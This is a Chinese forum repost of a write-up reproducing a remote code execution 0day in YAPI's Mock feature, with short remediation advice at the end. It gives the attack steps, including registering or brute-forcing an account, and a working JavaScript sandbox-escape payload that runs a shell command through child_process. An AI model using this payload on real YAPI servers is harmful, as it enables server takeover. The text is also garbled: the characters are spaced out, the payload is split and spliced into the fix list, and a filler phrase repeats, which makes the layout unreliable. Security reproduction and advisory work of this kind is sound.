搜索

[20644] 2021-07-09_YAPI远程代码执行0day漏洞复现

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2021-07-09_YAPI远程代码执行0day漏洞复现 Y A P I 远 程 代 码 执 行 0 d a y 漏 洞 复 现 原 创   c a r r y p a n   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 7 - 0 9                 由 于 用 户 使 用 时 未 按 照 安 全 的 方 式 对 Y A P I 进 行 配 置 ， 攻 击 者 可 以 使 用   Y A P I   的   M o c k   功 能 在 受 影 响 的 服 务 器 上 执 行 任 意   j a v a s c r i p t   代 码 ， 导 致 攻 击 者 接 管 并 控 制 服 务 器 ； 目 前 该 漏 洞 暂 无 补 丁 ， 处 于 0 d a y 状 态 。 注 册 或 者 爆 破 获 取 用 户 登 录 权 限 登 陆 系 统 ： 添 加 项 目 ：     添 加 接 口 添 加 m o c k 脚 本 ： c o n s t   s a n d b o x   =   t h i s c o n s t   O b j e c t C o n s t r u c t o r   =   t h i s . c o n s t r u c t o r
预 览 里 访 问 接 口       修 复 建 议               该 漏 洞 官 方 暂 未 发 布 补 丁 ， 请 受 影 响 的 用 户 实 时 关 注 官 网 以 获 取 最 新 信 息 。 链 接 如 下 : h t t p s : / / g i t h u b . c o m / Y M F E / y a p i 临 时 解 决 方 案                 1 . 关 闭 Y A P I 注 册 功 能                 2 . 删 除 恶 意 账 户                 3 . 回 滚 服 务 器 快 照 c o n s t   F u n c t i o n C o n s t r u c t o r   =   O b j e c t C o n s t r u c t o r . c o n s t r u c t o r c o n s t   m y f u n   =   F u n c t i o n C o n s t r u c t o r ( ' r e t u r n   p r o c e s s ' ) c o n s t   p r o c e s s   =   m y f u n ( ) m o c k J s o n   =   p r o c e s s . m a i n M o d u l e . r e q u i r e ( " c h i l d _ p r o c e s s " ) . e x e c S y n c ( " w h o a m i " ) . t o S t r i n g ( )
                4 . 同 步 删 除 恶 意 m o c k 脚 本 以 防 止 二 次 攻 击
凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数 凑 字 数
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理